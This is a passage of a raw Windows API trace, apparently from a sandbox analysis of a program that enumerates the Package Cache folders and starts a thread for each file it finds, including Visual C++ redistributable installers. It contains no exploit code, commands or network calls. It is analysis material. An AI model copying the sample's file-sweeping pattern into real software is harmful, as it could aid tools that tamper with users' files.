RtlExitUserThread (Status=0x0) Thread: id = 861 os_tid = 0x1478 [0078.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34293e8 [0078.203] wcscpy (in: _Dest=0x34293e8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0078.203] wcscat (in: _Dest=0x34293e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0078.203] wcscat (in: _Dest=0x34293e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0078.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6060 [0078.203] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0458 [0078.203] wcscmp (_String1=".", _String2=".") returned 0 [0078.203] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.203] wcscmp (_String1="..", _String2=".") returned 1 [0078.203] wcscmp (_String1="..", _String2="..") returned 0 [0078.203] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0078.203] wcscmp (_String1="packages", _String2=".") returned 1 [0078.203] wcscmp (_String1="packages", _String2="..") returned 1 [0078.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3432230 [0078.203] wcscpy (in: _Dest=0x3432230, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0078.203] wcscat (in: _Dest=0x3432230, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0078.203] wcscat (in: _Dest=0x3432230, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0083.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0083.055] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0083.056] FindClose (in: hFindFile=0x33e0458 | out: hFindFile=0x33e0458) returned 1 [0083.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6060) returned 1 [0083.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34293e8) returned 1 [0083.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f11a0) returned 1 [0083.056] RtlExitUserThread (Status=0x0) Thread: id = 862 os_tid = 0x147c [0078.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33ead70 [0078.204] wcscpy (in: _Dest=0x33ead70, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0078.204] wcscat (in: _Dest=0x33ead70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0078.204] wcscat (in: _Dest=0x33ead70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0078.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f62c8 [0078.204] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0498 [0078.204] wcscmp (_String1=".", _String2=".") returned 0 [0078.204] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.204] wcscmp (_String1="..", _String2=".") returned 1 [0078.204] wcscmp (_String1="..", _String2="..") returned 0 [0078.205] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.205] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0078.205] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1670 [0078.205] wcscpy (in: _Dest=0x33f1670, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0078.205] wcscat (in: _Dest=0x33f1670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0078.205] wcscat (in: _Dest=0x33f1670, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0083.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0083.053] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0083.053] wcscmp (_String1="VC_redist.x64.exe", _String2=".") returned 1 [0083.053] wcscmp (_String1="VC_redist.x64.exe", _String2="..") returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430980 [0083.053] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0083.053] wcscat (in: _Dest=0x3430980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0083.053] wcscat (in: _Dest=0x3430980, _Source="VC_redist.x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0083.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0083.054] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0083.054] FindClose (in: hFindFile=0x33e0498 | out: hFindFile=0x33e0498) returned 1 [0083.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f62c8) returned 1 [0083.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ead70) returned 1 [0083.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0083.054] RtlExitUserThread (Status=0x0) Thread: id = 863 os_tid = 0x1480 [0078.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eae10 [0078.205] wcscpy (in: _Dest=0x33eae10, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0078.205] wcscat (in: _Dest=0x33eae10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0078.205] wcscat (in: _Dest=0x33eae10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0078.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6530 [0078.205] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e04d8 [0078.206] wcscmp (_String1=".", _String2=".") returned 0 [0078.206] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.206] wcscmp (_String1="..", _String2=".") returned 1 [0078.206] wcscmp (_String1="..", _String2="..") returned 0 [0078.206] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.206] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0078.206] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0078.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1720 [0078.206] wcscpy (in: _Dest=0x33f1720, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0078.206] wcscat (in: _Dest=0x33f1720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0078.206] wcscat (in: _Dest=0x33f1720, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0083.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0083.050] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0083.051] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0083.051] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0083.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x34314c0 [0083.051] wcscpy (in: _Dest=0x34314c0, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0083.051] wcscat (in: _Dest=0x34314c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0083.051] wcscat (in: _Dest=0x34314c0, _Source="vcredist_x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0083.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34314c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0083.051] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0083.051] FindClose (in: hFindFile=0x33e04d8 | out: hFindFile=0x33e04d8) returned 1 [0083.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6530) returned 1 [0083.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eae10) returned 1 [0083.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c4f0) returned 1 [0083.052] RtlExitUserThread (Status=0x0) Thread: id = 864 os_tid = 0x1484 [0078.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaf50 [0078.207] wcscpy (in: _Dest=0x33eaf50, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0078.207] wcscat (in: _Dest=0x33eaf50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0078.207] wcscat (in: _Dest=0x33eaf50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0078.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2908 [0078.207] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0518 [0078.208] wcscmp (_String1=".", _String2=".") returned 0 [0078.208] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.208] wcscmp (_String1="..", _String2=".") returned 1 [0078.208] wcscmp (_String1="..", _String2="..") returned 0 [0078.208] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.208] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0078.208] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0078.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f01d0 [0078.208] wcscpy (in: _Dest=0x33f01d0, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0078.208] wcscat (in: _Dest=0x33f01d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0078.208] wcscat (in: _Dest=0x33f01d0, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0083.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f01d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0083.048] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0083.048] wcscmp (_String1="VC_redist.x86.exe", _String2=".") returned 1 [0083.048] wcscmp (_String1="VC_redist.x86.exe", _String2="..") returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431400 [0083.048] wcscpy (in: _Dest=0x3431400, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0083.048] wcscat (in: _Dest=0x3431400, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0083.048] wcscat (in: _Dest=0x3431400, _Source="VC_redist.x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0083.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0083.049] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0083.049] FindClose (in: hFindFile=0x33e0518 | out: 